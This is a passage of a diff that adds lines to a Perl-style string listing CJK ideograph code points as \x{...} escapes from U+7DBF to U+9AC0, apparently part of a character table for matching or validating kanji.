+'\x{7DBF}\x{7DC7}\x{7DCA}\x{7DCB}\x{7DCF}\x{7DD1}\x{7DD2}\x{7DD5}\x{7DD8}' .
+'\x{7DDA}\x{7DDC}\x{7DDD}\x{7DDE}\x{7DE0}\x{7DE1}\x{7DE4}\x{7DE8}\x{7DE9}' .
+'\x{7DEC}\x{7DEF}\x{7DF2}\x{7DF4}\x{7DFB}\x{7E01}\x{7E04}\x{7E05}\x{7E09}' .
+'\x{7E0A}\x{7E0B}\x{7E12}\x{7E1B}\x{7E1E}\x{7E1F}\x{7E21}\x{7E22}\x{7E23}' .
+'\x{7E26}\x{7E2B}\x{7E2E}\x{7E31}\x{7E32}\x{7E35}\x{7E37}\x{7E39}\x{7E3A}' .
+'\x{7E3B}\x{7E3D}\x{7E3E}\x{7E41}\x{7E43}\x{7E46}\x{7E4A}\x{7E4B}\x{7E4D}' .
+'\x{7E54}\x{7E55}\x{7E56}\x{7E59}\x{7E5A}\x{7E5D}\x{7E5E}\x{7E66}\x{7E67}' .
+'\x{7E69}\x{7E6A}\x{7E6D}\x{7E70}\x{7E79}\x{7E7B}\x{7E7C}\x{7E7D}\x{7E7F}' .
+'\x{7E82}\x{7E83}\x{7E88}\x{7E89}\x{7E8C}\x{7E8E}\x{7E8F}\x{7E90}\x{7E92}' .
+'\x{7E93}\x{7E94}\x{7E96}\x{7E9B}\x{7E9C}\x{7F36}\x{7F38}\x{7F3A}\x{7F45}' .
+'\x{7F4C}\x{7F4D}\x{7F4E}\x{7F50}\x{7F51}\x{7F54}\x{7F55}\x{7F58}\x{7F5F}' .
+'\x{7F60}\x{7F67}\x{7F68}\x{7F69}\x{7F6A}\x{7F6B}\x{7F6E}\x{7F70}\x{7F72}' .
+'\x{7F75}\x{7F77}\x{7F78}\x{7F79}\x{7F82}\x{7F83}\x{7F85}\x{7F86}\x{7F87}' .
+'\x{7F88}\x{7F8A}\x{7F8C}\x{7F8E}\x{7F94}\x{7F9A}\x{7F9D}\x{7F9E}\x{7FA3}' .
+'\x{7FA4}\x{7FA8}\x{7FA9}\x{7FAE}\x{7FAF}\x{7FB2}\x{7FB6}\x{7FB8}\x{7FB9}' .
+'\x{7FBD}\x{7FC1}\x{7FC5}\x{7FC6}\x{7FCA}\x{7FCC}\x{7FD2}\x{7FD4}\x{7FD5}' .
+'\x{7FE0}\x{7FE1}\x{7FE6}\x{7FE9}\x{7FEB}\x{7FF0}\x{7FF3}\x{7FF9}\x{7FFB}' .
+'\x{7FFC}\x{8000}\x{8001}\x{8003}\x{8004}\x{8005}\x{8006}\x{800B}\x{800C}' .
+'\x{8010}\x{8012}\x{8015}\x{8017}\x{8018}\x{8019}\x{801C}\x{8021}\x{8028}' .
+'\x{8033}\x{8036}\x{803B}\x{803D}\x{803F}\x{8046}\x{804A}\x{8052}\x{8056}' .
+'\x{8058}\x{805A}\x{805E}\x{805F}\x{8061}\x{8062}\x{8068}\x{806F}\x{8070}' .
+'\x{8072}\x{8073}\x{8074}\x{8076}\x{8077}\x{8079}\x{807D}\x{807E}\x{807F}' .
+'\x{8084}\x{8085}\x{8086}\x{8087}\x{8089}\x{808B}\x{808C}\x{8093}\x{8096}' .
+'\x{8098}\x{809A}\x{809B}\x{809D}\x{80A1}\x{80A2}\x{80A5}\x{80A9}\x{80AA}' .
+'\x{80AC}\x{80AD}\x{80AF}\x{80B1}\x{80B2}\x{80B4}\x{80BA}\x{80C3}\x{80C4}' .
+'\x{80C6}\x{80CC}\x{80CE}\x{80D6}\x{80D9}\x{80DA}\x{80DB}\x{80DD}\x{80DE}' .
+'\x{80E1}\x{80E4}\x{80E5}\x{80EF}\x{80F1}\x{80F4}\x{80F8}\x{80FC}\x{80FD}' .
+'\x{8102}\x{8105}\x{8106}\x{8107}\x{8108}\x{8109}\x{810A}\x{811A}\x{811B}' .
+'\x{8123}\x{8129}\x{812F}\x{8131}\x{8133}\x{8139}\x{813E}\x{8146}\x{814B}' .
+'\x{814E}\x{8150}\x{8151}\x{8153}\x{8154}\x{8155}\x{815F}\x{8165}\x{8166}' .
+'\x{816B}\x{816E}\x{8170}\x{8171}\x{8174}\x{8178}\x{8179}\x{817A}\x{817F}' .
+'\x{8180}\x{8182}\x{8183}\x{8188}\x{818A}\x{818F}\x{8193}\x{8195}\x{819A}' .
+'\x{819C}\x{819D}\x{81A0}\x{81A3}\x{81A4}\x{81A8}\x{81A9}\x{81B0}\x{81B3}' .
+'\x{81B5}\x{81B8}\x{81BA}\x{81BD}\x{81BE}\x{81BF}\x{81C0}\x{81C2}\x{81C6}' .
+'\x{81C8}\x{81C9}\x{81CD}\x{81D1}\x{81D3}\x{81D8}\x{81D9}\x{81DA}\x{81DF}' .
+'\x{81E0}\x{81E3}\x{81E5}\x{81E7}\x{81E8}\x{81EA}\x{81ED}\x{81F3}\x{81F4}' .
+'\x{81FA}\x{81FB}\x{81FC}\x{81FE}\x{8201}\x{8202}\x{8205}\x{8207}\x{8208}' .
+'\x{8209}\x{820A}\x{820C}\x{820D}\x{820E}\x{8210}\x{8212}\x{8216}\x{8217}' .
+'\x{8218}\x{821B}\x{821C}\x{821E}\x{821F}\x{8229}\x{822A}\x{822B}\x{822C}' .
+'\x{822E}\x{8233}\x{8235}\x{8236}\x{8237}\x{8238}\x{8239}\x{8240}\x{8247}' .
+'\x{8258}\x{8259}\x{825A}\x{825D}\x{825F}\x{8262}\x{8264}\x{8266}\x{8268}' .
+'\x{826A}\x{826B}\x{826E}\x{826F}\x{8271}\x{8272}\x{8276}\x{8277}\x{8278}' .
+'\x{827E}\x{828B}\x{828D}\x{8292}\x{8299}\x{829D}\x{829F}\x{82A5}\x{82A6}' .
+'\x{82AB}\x{82AC}\x{82AD}\x{82AF}\x{82B1}\x{82B3}\x{82B8}\x{82B9}\x{82BB}' .
+'\x{82BD}\x{82C5}\x{82D1}\x{82D2}\x{82D3}\x{82D4}\x{82D7}\x{82D9}\x{82DB}' .
+'\x{82DC}\x{82DE}\x{82DF}\x{82E1}\x{82E3}\x{82E5}\x{82E6}\x{82E7}\x{82EB}' .
+'\x{82F1}\x{82F3}\x{82F4}\x{82F9}\x{82FA}\x{82FB}\x{8302}\x{8303}\x{8304}' .
+'\x{8305}\x{8306}\x{8309}\x{830E}\x{8316}\x{8317}\x{8318}\x{831C}\x{8323}' .
+'\x{8328}\x{832B}\x{832F}\x{8331}\x{8332}\x{8334}\x{8335}\x{8336}\x{8338}' .
+'\x{8339}\x{8340}\x{8345}\x{8349}\x{834A}\x{834F}\x{8350}\x{8352}\x{8358}' .
+'\x{8373}\x{8375}\x{8377}\x{837B}\x{837C}\x{8385}\x{8387}\x{8389}\x{838A}' .
+'\x{838E}\x{8393}\x{8396}\x{839A}\x{839E}\x{839F}\x{83A0}\x{83A2}\x{83A8}' .
+'\x{83AA}\x{83AB}\x{83B1}\x{83B5}\x{83BD}\x{83C1}\x{83C5}\x{83CA}\x{83CC}' .
+'\x{83CE}\x{83D3}\x{83D6}\x{83D8}\x{83DC}\x{83DF}\x{83E0}\x{83E9}\x{83EB}' .
+'\x{83EF}\x{83F0}\x{83F1}\x{83F2}\x{83F4}\x{83F7}\x{83FB}\x{83FD}\x{8403}' .
+'\x{8404}\x{8407}\x{840B}\x{840C}\x{840D}\x{840E}\x{8413}\x{8420}\x{8422}' .
+'\x{8429}\x{842A}\x{842C}\x{8431}\x{8435}\x{8438}\x{843C}\x{843D}\x{8446}' .
+'\x{8449}\x{844E}\x{8457}\x{845B}\x{8461}\x{8462}\x{8463}\x{8466}\x{8469}' .
+'\x{846B}\x{846C}\x{846D}\x{846E}\x{846F}\x{8471}\x{8475}\x{8477}\x{8479}' .
+'\x{847A}\x{8482}\x{8484}\x{848B}\x{8490}\x{8494}\x{8499}\x{849C}\x{849F}' .
+'\x{84A1}\x{84AD}\x{84B2}\x{84B8}\x{84B9}\x{84BB}\x{84BC}\x{84BF}\x{84C1}' .
+'\x{84C4}\x{84C6}\x{84C9}\x{84CA}\x{84CB}\x{84CD}\x{84D0}\x{84D1}\x{84D6}' .
+'\x{84D9}\x{84DA}\x{84EC}\x{84EE}\x{84F4}\x{84FC}\x{84FF}\x{8500}\x{8506}' .
+'\x{8511}\x{8513}\x{8514}\x{8515}\x{8517}\x{8518}\x{851A}\x{851F}\x{8521}' .
+'\x{8526}\x{852C}\x{852D}\x{8535}\x{853D}\x{8540}\x{8541}\x{8543}\x{8548}' .
+'\x{8549}\x{854A}\x{854B}\x{854E}\x{8555}\x{8557}\x{8558}\x{855A}\x{8563}' .
+'\x{8568}\x{8569}\x{856A}\x{856D}\x{8577}\x{857E}\x{8580}\x{8584}\x{8587}' .
+'\x{8588}\x{858A}\x{8590}\x{8591}\x{8594}\x{8597}\x{8599}\x{859B}\x{859C}' .
+'\x{85A4}\x{85A6}\x{85A8}\x{85A9}\x{85AA}\x{85AB}\x{85AC}\x{85AE}\x{85AF}' .
+'\x{85B9}\x{85BA}\x{85C1}\x{85C9}\x{85CD}\x{85CF}\x{85D0}\x{85D5}\x{85DC}' .
+'\x{85DD}\x{85E4}\x{85E5}\x{85E9}\x{85EA}\x{85F7}\x{85F9}\x{85FA}\x{85FB}' .
+'\x{85FE}\x{8602}\x{8606}\x{8607}\x{860A}\x{860B}\x{8613}\x{8616}\x{8617}' .
+'\x{861A}\x{8622}\x{862D}\x{862F}\x{8630}\x{863F}\x{864D}\x{864E}\x{8650}' .
+'\x{8654}\x{8655}\x{865A}\x{865C}\x{865E}\x{865F}\x{8667}\x{866B}\x{8671}' .
+'\x{8679}\x{867B}\x{868A}\x{868B}\x{868C}\x{8693}\x{8695}\x{86A3}\x{86A4}' .
+'\x{86A9}\x{86AA}\x{86AB}\x{86AF}\x{86B0}\x{86B6}\x{86C4}\x{86C6}\x{86C7}' .
+'\x{86C9}\x{86CB}\x{86CD}\x{86CE}\x{86D4}\x{86D9}\x{86DB}\x{86DE}\x{86DF}' .
+'\x{86E4}\x{86E9}\x{86EC}\x{86ED}\x{86EE}\x{86EF}\x{86F8}\x{86F9}\x{86FB}' .
+'\x{86FE}\x{8700}\x{8702}\x{8703}\x{8706}\x{8708}\x{8709}\x{870A}\x{870D}' .
+'\x{8711}\x{8712}\x{8718}\x{871A}\x{871C}\x{8725}\x{8729}\x{8734}\x{8737}' .
+'\x{873B}\x{873F}\x{8749}\x{874B}\x{874C}\x{874E}\x{8753}\x{8755}\x{8757}' .
+'\x{8759}\x{875F}\x{8760}\x{8763}\x{8766}\x{8768}\x{876A}\x{876E}\x{8774}' .
+'\x{8776}\x{8778}\x{877F}\x{8782}\x{878D}\x{879F}\x{87A2}\x{87AB}\x{87AF}' .
+'\x{87B3}\x{87BA}\x{87BB}\x{87BD}\x{87C0}\x{87C4}\x{87C6}\x{87C7}\x{87CB}' .
+'\x{87D0}\x{87D2}\x{87E0}\x{87EF}\x{87F2}\x{87F6}\x{87F7}\x{87F9}\x{87FB}' .
+'\x{87FE}\x{8805}\x{880D}\x{880E}\x{880F}\x{8811}\x{8815}\x{8816}\x{8821}' .
+'\x{8822}\x{8823}\x{8827}\x{8831}\x{8836}\x{8839}\x{883B}\x{8840}\x{8842}' .
+'\x{8844}\x{8846}\x{884C}\x{884D}\x{8852}\x{8853}\x{8857}\x{8859}\x{885B}' .
+'\x{885D}\x{885E}\x{8861}\x{8862}\x{8863}\x{8868}\x{886B}\x{8870}\x{8872}' .
+'\x{8875}\x{8877}\x{887D}\x{887E}\x{887F}\x{8881}\x{8882}\x{8888}\x{888B}' .
+'\x{888D}\x{8892}\x{8896}\x{8897}\x{8899}\x{889E}\x{88A2}\x{88A4}\x{88AB}' .
+'\x{88AE}\x{88B0}\x{88B1}\x{88B4}\x{88B5}\x{88B7}\x{88BF}\x{88C1}\x{88C2}' .
+'\x{88C3}\x{88C4}\x{88C5}\x{88CF}\x{88D4}\x{88D5}\x{88D8}\x{88D9}\x{88DC}' .
+'\x{88DD}\x{88DF}\x{88E1}\x{88E8}\x{88F2}\x{88F3}\x{88F4}\x{88F8}\x{88F9}' .
+'\x{88FC}\x{88FD}\x{88FE}\x{8902}\x{8904}\x{8907}\x{890A}\x{890C}\x{8910}' .
+'\x{8912}\x{8913}\x{891D}\x{891E}\x{8925}\x{892A}\x{892B}\x{8936}\x{8938}' .
+'\x{893B}\x{8941}\x{8943}\x{8944}\x{894C}\x{894D}\x{8956}\x{895E}\x{895F}' .
+'\x{8960}\x{8964}\x{8966}\x{896A}\x{896D}\x{896F}\x{8972}\x{8974}\x{8977}' .
+'\x{897E}\x{897F}\x{8981}\x{8983}\x{8986}\x{8987}\x{8988}\x{898A}\x{898B}' .
+'\x{898F}\x{8993}\x{8996}\x{8997}\x{8998}\x{899A}\x{89A1}\x{89A6}\x{89A7}' .
+'\x{89A9}\x{89AA}\x{89AC}\x{89AF}\x{89B2}\x{89B3}\x{89BA}\x{89BD}\x{89BF}' .
+'\x{89C0}\x{89D2}\x{89DA}\x{89DC}\x{89DD}\x{89E3}\x{89E6}\x{89E7}\x{89F4}' .
+'\x{89F8}\x{8A00}\x{8A02}\x{8A03}\x{8A08}\x{8A0A}\x{8A0C}\x{8A0E}\x{8A10}' .
+'\x{8A13}\x{8A16}\x{8A17}\x{8A18}\x{8A1B}\x{8A1D}\x{8A1F}\x{8A23}\x{8A25}' .
+'\x{8A2A}\x{8A2D}\x{8A31}\x{8A33}\x{8A34}\x{8A36}\x{8A3A}\x{8A3B}\x{8A3C}' .
+'\x{8A41}\x{8A46}\x{8A48}\x{8A50}\x{8A51}\x{8A52}\x{8A54}\x{8A55}\x{8A5B}' .
+'\x{8A5E}\x{8A60}\x{8A62}\x{8A63}\x{8A66}\x{8A69}\x{8A6B}\x{8A6C}\x{8A6D}' .
+'\x{8A6E}\x{8A70}\x{8A71}\x{8A72}\x{8A73}\x{8A7C}\x{8A82}\x{8A84}\x{8A85}' .
+'\x{8A87}\x{8A89}\x{8A8C}\x{8A8D}\x{8A91}\x{8A93}\x{8A95}\x{8A98}\x{8A9A}' .
+'\x{8A9E}\x{8AA0}\x{8AA1}\x{8AA3}\x{8AA4}\x{8AA5}\x{8AA6}\x{8AA8}\x{8AAC}' .
+'\x{8AAD}\x{8AB0}\x{8AB2}\x{8AB9}\x{8ABC}\x{8ABF}\x{8AC2}\x{8AC4}\x{8AC7}' .
+'\x{8ACB}\x{8ACC}\x{8ACD}\x{8ACF}\x{8AD2}\x{8AD6}\x{8ADA}\x{8ADB}\x{8ADC}' .
+'\x{8ADE}\x{8AE0}\x{8AE1}\x{8AE2}\x{8AE4}\x{8AE6}\x{8AE7}\x{8AEB}\x{8AED}' .
+'\x{8AEE}\x{8AF1}\x{8AF3}\x{8AF7}\x{8AF8}\x{8AFA}\x{8AFE}\x{8B00}\x{8B01}' .
+'\x{8B02}\x{8B04}\x{8B07}\x{8B0C}\x{8B0E}\x{8B10}\x{8B14}\x{8B16}\x{8B17}' .
+'\x{8B19}\x{8B1A}\x{8B1B}\x{8B1D}\x{8B20}\x{8B21}\x{8B26}\x{8B28}\x{8B2B}' .
+'\x{8B2C}\x{8B33}\x{8B39}\x{8B3E}\x{8B41}\x{8B49}\x{8B4C}\x{8B4E}\x{8B4F}' .
+'\x{8B56}\x{8B58}\x{8B5A}\x{8B5B}\x{8B5C}\x{8B5F}\x{8B66}\x{8B6B}\x{8B6C}' .
+'\x{8B6F}\x{8B70}\x{8B71}\x{8B72}\x{8B74}\x{8B77}\x{8B7D}\x{8B80}\x{8B83}' .
+'\x{8B8A}\x{8B8C}\x{8B8E}\x{8B90}\x{8B92}\x{8B93}\x{8B96}\x{8B99}\x{8B9A}' .
+'\x{8C37}\x{8C3A}\x{8C3F}\x{8C41}\x{8C46}\x{8C48}\x{8C4A}\x{8C4C}\x{8C4E}' .
+'\x{8C50}\x{8C55}\x{8C5A}\x{8C61}\x{8C62}\x{8C6A}\x{8C6B}\x{8C6C}\x{8C78}' .
+'\x{8C79}\x{8C7A}\x{8C7C}\x{8C82}\x{8C85}\x{8C89}\x{8C8A}\x{8C8C}\x{8C8D}' .
+'\x{8C8E}\x{8C94}\x{8C98}\x{8C9D}\x{8C9E}\x{8CA0}\x{8CA1}\x{8CA2}\x{8CA7}' .
+'\x{8CA8}\x{8CA9}\x{8CAA}\x{8CAB}\x{8CAC}\x{8CAD}\x{8CAE}\x{8CAF}\x{8CB0}' .
+'\x{8CB2}\x{8CB3}\x{8CB4}\x{8CB6}\x{8CB7}\x{8CB8}\x{8CBB}\x{8CBC}\x{8CBD}' .
+'\x{8CBF}\x{8CC0}\x{8CC1}\x{8CC2}\x{8CC3}\x{8CC4}\x{8CC7}\x{8CC8}\x{8CCA}' .
+'\x{8CCD}\x{8CCE}\x{8CD1}\x{8CD3}\x{8CDA}\x{8CDB}\x{8CDC}\x{8CDE}\x{8CE0}' .
+'\x{8CE2}\x{8CE3}\x{8CE4}\x{8CE6}\x{8CEA}\x{8CED}\x{8CFA}\x{8CFB}\x{8CFC}' .
+'\x{8CFD}\x{8D04}\x{8D05}\x{8D07}\x{8D08}\x{8D0A}\x{8D0B}\x{8D0D}\x{8D0F}' .
+'\x{8D10}\x{8D13}\x{8D14}\x{8D16}\x{8D64}\x{8D66}\x{8D67}\x{8D6B}\x{8D6D}' .
+'\x{8D70}\x{8D71}\x{8D73}\x{8D74}\x{8D77}\x{8D81}\x{8D85}\x{8D8A}\x{8D99}' .
+'\x{8DA3}\x{8DA8}\x{8DB3}\x{8DBA}\x{8DBE}\x{8DC2}\x{8DCB}\x{8DCC}\x{8DCF}' .
+'\x{8DD6}\x{8DDA}\x{8DDB}\x{8DDD}\x{8DDF}\x{8DE1}\x{8DE3}\x{8DE8}\x{8DEA}' .
+'\x{8DEB}\x{8DEF}\x{8DF3}\x{8DF5}\x{8DFC}\x{8DFF}\x{8E08}\x{8E09}\x{8E0A}' .
+'\x{8E0F}\x{8E10}\x{8E1D}\x{8E1E}\x{8E1F}\x{8E2A}\x{8E30}\x{8E34}\x{8E35}' .
+'\x{8E42}\x{8E44}\x{8E47}\x{8E48}\x{8E49}\x{8E4A}\x{8E4C}\x{8E50}\x{8E55}' .
+'\x{8E59}\x{8E5F}\x{8E60}\x{8E63}\x{8E64}\x{8E72}\x{8E74}\x{8E76}\x{8E7C}' .
+'\x{8E81}\x{8E84}\x{8E85}\x{8E87}\x{8E8A}\x{8E8B}\x{8E8D}\x{8E91}\x{8E93}' .
+'\x{8E94}\x{8E99}\x{8EA1}\x{8EAA}\x{8EAB}\x{8EAC}\x{8EAF}\x{8EB0}\x{8EB1}' .
+'\x{8EBE}\x{8EC5}\x{8EC6}\x{8EC8}\x{8ECA}\x{8ECB}\x{8ECC}\x{8ECD}\x{8ED2}' .
+'\x{8EDB}\x{8EDF}\x{8EE2}\x{8EE3}\x{8EEB}\x{8EF8}\x{8EFB}\x{8EFC}\x{8EFD}' .
+'\x{8EFE}\x{8F03}\x{8F05}\x{8F09}\x{8F0A}\x{8F0C}\x{8F12}\x{8F13}\x{8F14}' .
+'\x{8F15}\x{8F19}\x{8F1B}\x{8F1C}\x{8F1D}\x{8F1F}\x{8F26}\x{8F29}\x{8F2A}' .
+'\x{8F2F}\x{8F33}\x{8F38}\x{8F39}\x{8F3B}\x{8F3E}\x{8F3F}\x{8F42}\x{8F44}' .
+'\x{8F45}\x{8F46}\x{8F49}\x{8F4C}\x{8F4D}\x{8F4E}\x{8F57}\x{8F5C}\x{8F5F}' .
+'\x{8F61}\x{8F62}\x{8F63}\x{8F64}\x{8F9B}\x{8F9C}\x{8F9E}\x{8F9F}\x{8FA3}' .
+'\x{8FA7}\x{8FA8}\x{8FAD}\x{8FAE}\x{8FAF}\x{8FB0}\x{8FB1}\x{8FB2}\x{8FB7}' .
+'\x{8FBA}\x{8FBB}\x{8FBC}\x{8FBF}\x{8FC2}\x{8FC4}\x{8FC5}\x{8FCE}\x{8FD1}' .
+'\x{8FD4}\x{8FDA}\x{8FE2}\x{8FE5}\x{8FE6}\x{8FE9}\x{8FEA}\x{8FEB}\x{8FED}' .
+'\x{8FEF}\x{8FF0}\x{8FF4}\x{8FF7}\x{8FF8}\x{8FF9}\x{8FFA}\x{8FFD}\x{9000}' .
+'\x{9001}\x{9003}\x{9005}\x{9006}\x{900B}\x{900D}\x{900E}\x{900F}\x{9010}' .
+'\x{9011}\x{9013}\x{9014}\x{9015}\x{9016}\x{9017}\x{9019}\x{901A}\x{901D}' .
+'\x{901E}\x{901F}\x{9020}\x{9021}\x{9022}\x{9023}\x{9027}\x{902E}\x{9031}' .
+'\x{9032}\x{9035}\x{9036}\x{9038}\x{9039}\x{903C}\x{903E}\x{9041}\x{9042}' .
+'\x{9045}\x{9047}\x{9049}\x{904A}\x{904B}\x{904D}\x{904E}\x{904F}\x{9050}' .
+'\x{9051}\x{9052}\x{9053}\x{9054}\x{9055}\x{9056}\x{9058}\x{9059}\x{905C}' .
+'\x{905E}\x{9060}\x{9061}\x{9063}\x{9065}\x{9068}\x{9069}\x{906D}\x{906E}' .
+'\x{906F}\x{9072}\x{9075}\x{9076}\x{9077}\x{9078}\x{907A}\x{907C}\x{907D}' .
+'\x{907F}\x{9080}\x{9081}\x{9082}\x{9083}\x{9084}\x{9087}\x{9089}\x{908A}' .
+'\x{908F}\x{9091}\x{90A3}\x{90A6}\x{90A8}\x{90AA}\x{90AF}\x{90B1}\x{90B5}' .
+'\x{90B8}\x{90C1}\x{90CA}\x{90CE}\x{90DB}\x{90E1}\x{90E2}\x{90E4}\x{90E8}' .
+'\x{90ED}\x{90F5}\x{90F7}\x{90FD}\x{9102}\x{9112}\x{9119}\x{912D}\x{9130}' .
+'\x{9132}\x{9149}\x{914A}\x{914B}\x{914C}\x{914D}\x{914E}\x{9152}\x{9154}' .
+'\x{9156}\x{9158}\x{9162}\x{9163}\x{9165}\x{9169}\x{916A}\x{916C}\x{9172}' .
+'\x{9173}\x{9175}\x{9177}\x{9178}\x{9182}\x{9187}\x{9189}\x{918B}\x{918D}' .
+'\x{9190}\x{9192}\x{9197}\x{919C}\x{91A2}\x{91A4}\x{91AA}\x{91AB}\x{91AF}' .
+'\x{91B4}\x{91B5}\x{91B8}\x{91BA}\x{91C0}\x{91C1}\x{91C6}\x{91C7}\x{91C8}' .
+'\x{91C9}\x{91CB}\x{91CC}\x{91CD}\x{91CE}\x{91CF}\x{91D0}\x{91D1}\x{91D6}' .
+'\x{91D8}\x{91DB}\x{91DC}\x{91DD}\x{91DF}\x{91E1}\x{91E3}\x{91E6}\x{91E7}' .
+'\x{91F5}\x{91F6}\x{91FC}\x{91FF}\x{920D}\x{920E}\x{9211}\x{9214}\x{9215}' .
+'\x{921E}\x{9229}\x{922C}\x{9234}\x{9237}\x{923F}\x{9244}\x{9245}\x{9248}' .
+'\x{9249}\x{924B}\x{9250}\x{9257}\x{925A}\x{925B}\x{925E}\x{9262}\x{9264}' .
+'\x{9266}\x{9271}\x{927E}\x{9280}\x{9283}\x{9285}\x{9291}\x{9293}\x{9295}' .
+'\x{9296}\x{9298}\x{929A}\x{929B}\x{929C}\x{92AD}\x{92B7}\x{92B9}\x{92CF}' .
+'\x{92D2}\x{92E4}\x{92E9}\x{92EA}\x{92ED}\x{92F2}\x{92F3}\x{92F8}\x{92FA}' .
+'\x{92FC}\x{9306}\x{930F}\x{9310}\x{9318}\x{9319}\x{931A}\x{9320}\x{9322}' .
+'\x{9323}\x{9326}\x{9328}\x{932B}\x{932C}\x{932E}\x{932F}\x{9332}\x{9335}' .
+'\x{933A}\x{933B}\x{9344}\x{934B}\x{934D}\x{9354}\x{9356}\x{935B}\x{935C}' .
+'\x{9360}\x{936C}\x{936E}\x{9375}\x{937C}\x{937E}\x{938C}\x{9394}\x{9396}' .
+'\x{9397}\x{939A}\x{93A7}\x{93AC}\x{93AD}\x{93AE}\x{93B0}\x{93B9}\x{93C3}' .
+'\x{93C8}\x{93D0}\x{93D1}\x{93D6}\x{93D7}\x{93D8}\x{93DD}\x{93E1}\x{93E4}' .
+'\x{93E5}\x{93E8}\x{9403}\x{9407}\x{9410}\x{9413}\x{9414}\x{9418}\x{9419}' .
+'\x{941A}\x{9421}\x{942B}\x{9435}\x{9436}\x{9438}\x{943A}\x{9441}\x{9444}' .
+'\x{9451}\x{9452}\x{9453}\x{945A}\x{945B}\x{945E}\x{9460}\x{9462}\x{946A}' .
+'\x{9470}\x{9475}\x{9477}\x{947C}\x{947D}\x{947E}\x{947F}\x{9481}\x{9577}' .
+'\x{9580}\x{9582}\x{9583}\x{9587}\x{9589}\x{958A}\x{958B}\x{958F}\x{9591}' .
+'\x{9593}\x{9594}\x{9596}\x{9598}\x{9599}\x{95A0}\x{95A2}\x{95A3}\x{95A4}' .
+'\x{95A5}\x{95A7}\x{95A8}\x{95AD}\x{95B2}\x{95B9}\x{95BB}\x{95BC}\x{95BE}' .
+'\x{95C3}\x{95C7}\x{95CA}\x{95CC}\x{95CD}\x{95D4}\x{95D5}\x{95D6}\x{95D8}' .
+'\x{95DC}\x{95E1}\x{95E2}\x{95E5}\x{961C}\x{9621}\x{9628}\x{962A}\x{962E}' .
+'\x{962F}\x{9632}\x{963B}\x{963F}\x{9640}\x{9642}\x{9644}\x{964B}\x{964C}' .
+'\x{964D}\x{964F}\x{9650}\x{965B}\x{965C}\x{965D}\x{965E}\x{965F}\x{9662}' .
+'\x{9663}\x{9664}\x{9665}\x{9666}\x{966A}\x{966C}\x{9670}\x{9672}\x{9673}' .
+'\x{9675}\x{9676}\x{9677}\x{9678}\x{967A}\x{967D}\x{9685}\x{9686}\x{9688}' .
+'\x{968A}\x{968B}\x{968D}\x{968E}\x{968F}\x{9694}\x{9695}\x{9697}\x{9698}' .
+'\x{9699}\x{969B}\x{969C}\x{96A0}\x{96A3}\x{96A7}\x{96A8}\x{96AA}\x{96B0}' .
+'\x{96B1}\x{96B2}\x{96B4}\x{96B6}\x{96B7}\x{96B8}\x{96B9}\x{96BB}\x{96BC}' .
+'\x{96C0}\x{96C1}\x{96C4}\x{96C5}\x{96C6}\x{96C7}\x{96C9}\x{96CB}\x{96CC}' .
+'\x{96CD}\x{96CE}\x{96D1}\x{96D5}\x{96D6}\x{96D9}\x{96DB}\x{96DC}\x{96E2}' .
+'\x{96E3}\x{96E8}\x{96EA}\x{96EB}\x{96F0}\x{96F2}\x{96F6}\x{96F7}\x{96F9}' .
+'\x{96FB}\x{9700}\x{9704}\x{9706}\x{9707}\x{9708}\x{970A}\x{970D}\x{970E}' .
+'\x{970F}\x{9711}\x{9713}\x{9716}\x{9719}\x{971C}\x{971E}\x{9724}\x{9727}' .
+'\x{972A}\x{9730}\x{9732}\x{9738}\x{9739}\x{973D}\x{973E}\x{9742}\x{9744}' .
+'\x{9746}\x{9748}\x{9749}\x{9752}\x{9756}\x{9759}\x{975C}\x{975E}\x{9760}' .
+'\x{9761}\x{9762}\x{9764}\x{9766}\x{9768}\x{9769}\x{976B}\x{976D}\x{9771}' .
+'\x{9774}\x{9779}\x{977A}\x{977C}\x{9781}\x{9784}\x{9785}\x{9786}\x{978B}' .
+'\x{978D}\x{978F}\x{9790}\x{9798}\x{979C}\x{97A0}\x{97A3}\x{97A6}\x{97A8}' .
+'\x{97AB}\x{97AD}\x{97B3}\x{97B4}\x{97C3}\x{97C6}\x{97C8}\x{97CB}\x{97D3}' .
+'\x{97DC}\x{97ED}\x{97EE}\x{97F2}\x{97F3}\x{97F5}\x{97F6}\x{97FB}\x{97FF}' .
+'\x{9801}\x{9802}\x{9803}\x{9805}\x{9806}\x{9808}\x{980C}\x{980F}\x{9810}' .
+'\x{9811}\x{9812}\x{9813}\x{9817}\x{9818}\x{981A}\x{9821}\x{9824}\x{982C}' .
+'\x{982D}\x{9834}\x{9837}\x{9838}\x{983B}\x{983C}\x{983D}\x{9846}\x{984B}' .
+'\x{984C}\x{984D}\x{984E}\x{984F}\x{9854}\x{9855}\x{9858}\x{985B}\x{985E}' .
+'\x{9867}\x{986B}\x{986F}\x{9870}\x{9871}\x{9873}\x{9874}\x{98A8}\x{98AA}' .
+'\x{98AF}\x{98B1}\x{98B6}\x{98C3}\x{98C4}\x{98C6}\x{98DB}\x{98DC}\x{98DF}' .
+'\x{98E2}\x{98E9}\x{98EB}\x{98ED}\x{98EE}\x{98EF}\x{98F2}\x{98F4}\x{98FC}' .
+'\x{98FD}\x{98FE}\x{9903}\x{9905}\x{9909}\x{990A}\x{990C}\x{9910}\x{9912}' .
+'\x{9913}\x{9914}\x{9918}\x{991D}\x{991E}\x{9920}\x{9921}\x{9924}\x{9928}' .
+'\x{992C}\x{992E}\x{993D}\x{993E}\x{9942}\x{9945}\x{9949}\x{994B}\x{994C}' .
+'\x{9950}\x{9951}\x{9952}\x{9955}\x{9957}\x{9996}\x{9997}\x{9998}\x{9999}' .
+'\x{99A5}\x{99A8}\x{99AC}\x{99AD}\x{99AE}\x{99B3}\x{99B4}\x{99BC}\x{99C1}' .
+'\x{99C4}\x{99C5}\x{99C6}\x{99C8}\x{99D0}\x{99D1}\x{99D2}\x{99D5}\x{99D8}' .
+'\x{99DB}\x{99DD}\x{99DF}\x{99E2}\x{99ED}\x{99EE}\x{99F1}\x{99F2}\x{99F8}' .
+'\x{99FB}\x{99FF}\x{9A01}\x{9A05}\x{9A0E}\x{9A0F}\x{9A12}\x{9A13}\x{9A19}' .
+'\x{9A28}\x{9A2B}\x{9A30}\x{9A37}\x{9A3E}\x{9A40}\x{9A42}\x{9A43}\x{9A45}' .
+'\x{9A4D}\x{9A55}\x{9A57}\x{9A5A}\x{9A5B}\x{9A5F}\x{9A62}\x{9A64}\x{9A65}' .
+'\x{9A69}\x{9A6A}\x{9A6B}\x{9AA8}\x{9AAD}\x{9AB0}\x{9AB8}\x{9ABC}\x{9AC0}' .
